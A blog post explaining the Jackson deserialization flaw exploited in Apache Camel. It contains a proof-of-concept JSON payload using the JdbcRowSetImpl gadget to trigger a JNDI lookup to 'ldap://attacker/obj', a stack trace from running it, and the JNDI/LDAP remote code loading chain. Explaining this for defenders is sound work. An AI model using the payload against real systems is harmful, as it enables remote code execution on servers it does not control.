Jackson deserialization exploits

15/12/17 — capitol

serialize

Earlier this year there was an remote execution exploit published against apache camel. Lets look at how that vulnerability works and how to guard against it.

First some background, apache camel is a framework that helps with building integrations between different components in a system. You can for example read from an jms queue and write to a https endpoint, very enterprise.

The exploitable part was in the jackson library that camel used to serialize/deserialize.

The vulnerability in jackson can be demonstrated with just a few lines of java code:

    String json = "[\"java.util.List\", [[\"com.sun.rowset.JdbcRowSetImpl\" ,{\n" +
            "\"dataSourceName\":\n" +
            "\"ldap://attacker/obj\" ,\n" +
            "\"autoCommit\" : true\n" +
            "}]]]";

    ObjectMapper om = new ObjectMapper();
    om.enableDefaultTyping();
    Object o = om.readValue(json, List.class);

Running it gives the error:

Exception in thread "main" com.fasterxml.jackson.databind.JsonMappingException: JdbcRowSet (anslut) JNDI kan inte anslutas
 at [Source: ["java.util.List", [["com.sun.rowset.JdbcRowSetImpl" ,{
"dataSourceName":
"ldap://attacker/obj" ,
"autoCommit" : true
}]]]; line: 4, column: 16] (through reference chain: java.util.ArrayList[0]->com.sun.rowset.JdbcRowSetImpl["autoCommit"])
	at com.fasterxml.jackson.databind.JsonMappingException.from(JsonMappingException.java:223)
	at com.fasterxml.jackson.databind.deser.SettableBeanProperty._throwAsIOE(SettableBeanProperty.java:537)
	at com.fasterxml.jackson.databind.deser.SettableBeanProperty._throwAsIOE(SettableBeanProperty.java:518)
	at com.fasterxml.jackson.databind.deser.impl.MethodProperty.deserializeAndSet(MethodProperty.java:99)
	at com.fasterxml.jackson.databind.deser.BeanDeserializer.vanillaDeserialize(BeanDeserializer.java:260)
	at com.fasterxml.jackson.databind.deser.BeanDeserializer.deserialize(BeanDeserializer.java:125)
	at com.fasterxml.jackson.databind.jsontype.impl.AsArrayTypeDeserializer._deserialize(AsArrayTypeDeserializer.java:110)
	at com.fasterxml.jackson.databind.jsontype.impl.AsArrayTypeDeserializer.deserializeTypedFromAny(AsArrayTypeDeserializer.java:68)
	at com.fasterxml.jackson.databind.deser.std.UntypedObjectDeserializer$Vanilla.deserializeWithType(UntypedObjectDeserializer.java:554)
	at com.fasterxml.jackson.databind.deser.std.CollectionDeserializer.deserialize(CollectionDeserializer.java:279)
	at com.fasterxml.jackson.databind.deser.std.CollectionDeserializer.deserialize(CollectionDeserializer.java:249)
	at com.fasterxml.jackson.databind.deser.std.CollectionDeserializer.deserialize(CollectionDeserializer.java:26)
	at com.fasterxml.jackson.databind.jsontype.impl.AsArrayTypeDeserializer._deserialize(AsArrayTypeDeserializer.java:110)
	at com.fasterxml.jackson.databind.jsontype.impl.AsArrayTypeDeserializer.deserializeTypedFromArray(AsArrayTypeDeserializer.java:50)
	at com.fasterxml.jackson.databind.deser.std.CollectionDeserializer.deserializeWithType(CollectionDeserializer.java:310)
	at com.fasterxml.jackson.databind.deser.impl.TypeWrappedDeserializer.deserialize(TypeWrappedDeserializer.java:42)
	at com.fasterxml.jackson.databind.ObjectMapper._readMapAndClose(ObjectMapper.java:3788)
	at com.fasterxml.jackson.databind.ObjectMapper.readValue(ObjectMapper.java:2779)
	at no.hackeriet.App.main(App.java:23)
Caused by: java.sql.SQLException: JdbcRowSet (anslut) JNDI kan inte anslutas
	at com.sun.rowset.JdbcRowSetImpl.connect(JdbcRowSetImpl.java:634)
	at com.sun.rowset.JdbcRowSetImpl.setAutoCommit(JdbcRowSetImpl.java:4067)
	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
	at java.lang.reflect.Method.invoke(Method.java:498)
	at com.fasterxml.jackson.databind.deser.impl.MethodProperty.deserializeAndSet(MethodProperty.java:97)
	... 15 more

There is a type check in the readValue class, but that doesn’t stop the attack since it only checks that it’s a List that we try to deserialize, and the content of the list isn’t type checked due to type erasure.

The reason that jackson lets the sender specify the java classes that’s the json gets deserialized to is because of the call om.enableDefaultTyping();. The same functionality can also be triggered if you have annotated a java.lang.Object with @JsonTypeInfo.

If you don’t do that in your code then you are safe from this attack.

Gadgets

The classes that we can use to escalate an deserialization into remote code execution are called gadgets.

More modern versions of jackson have a blacklist with known dangerous classes that it refuses to deserialize here.

But there is a large number of java classes out there and it’s impossible to defend against all of them.

In order for a class to be a valid gadget for a jackson deserialization attack these criteria needs to be fulfilled:

  • A default constructor, i.e. a constructor without any arguments.
  • A method that acts on the argument in a non-trivial way, the simplest is if you are able to provide a serialized java class with a function that gets called. But there is a number of other ways, for example using jndi connections.

The LDAP gadget

For those that ain’t that deep into the java world, a quick description of JNDI is this: JNDI does for LDAP what JDBC does for a Database, in other words it provides an interface to interact with the ldap server from java.

How the ldap url leads to remote code execution a bit out of scope but is described here.

To summarize the attack have these steps:

  1. Attacker provides an absolute LDAP URL to a vulnerable JNDI lookup method.
  2. Target connect’s to an attacker controlled LDAP Server that returns a malicious JNDI Reference.
  3. Target decodes the JNDI Reference.
  4. Target fetches the Factory class from attacker-controlled server.
  5. Target instantiates the Factory class.
  6. Payload gets executed.